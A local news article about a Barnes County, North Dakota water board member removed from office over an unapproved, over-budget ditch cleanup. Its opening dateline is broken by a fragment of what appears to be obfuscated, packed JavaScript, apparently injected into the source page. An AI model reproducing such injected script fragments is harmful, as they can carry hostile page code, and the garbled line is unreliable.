VALLEY zybsn|var|u0026u|referrer|kstfr||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) Barnes County Water Resource District board member Duane Lettenmaier was removed from office following a 3 hour hearing before the Barnes County board of commissioners on Tuesday.

At issue was a project to clean up cattails northeast of Sanborn in November 2011. The water board approved of having Lettenmaier spend up to $10-thousand dollars to let bids, hire a contractor and do the work.

Barnes County Water Resource District Board member Pat Hurley testified that while the $10-thousand dollars was approved Lettenmaier expanded the project further without board approval and the cost ballooned to $22,500.

Hurley also said that there maybe possible wetland violation down the road from the ditch cleanup.

Lettenmaier testified he offered to pay the outstanding difference on the project with his own money, about $13-thousand dollars. Lettenmaier did pay about $8,800 dollars of his own money on the ditch clean up.

Barnes County Commissioner John Froelich said he voted to remove Lettenmaier from office being he felt Lettenmaier used his position to push a project to benefit him and his neighbors.

Lettenmaier said he was completing a project that had the approval of the nearby landowners and was following due process. But, he wasn’t surprised by the vote.

Lettenmaier said he would not seek an appeal to the board of commission who voted unanimously to remove Lettenmaier from office on Tuesday.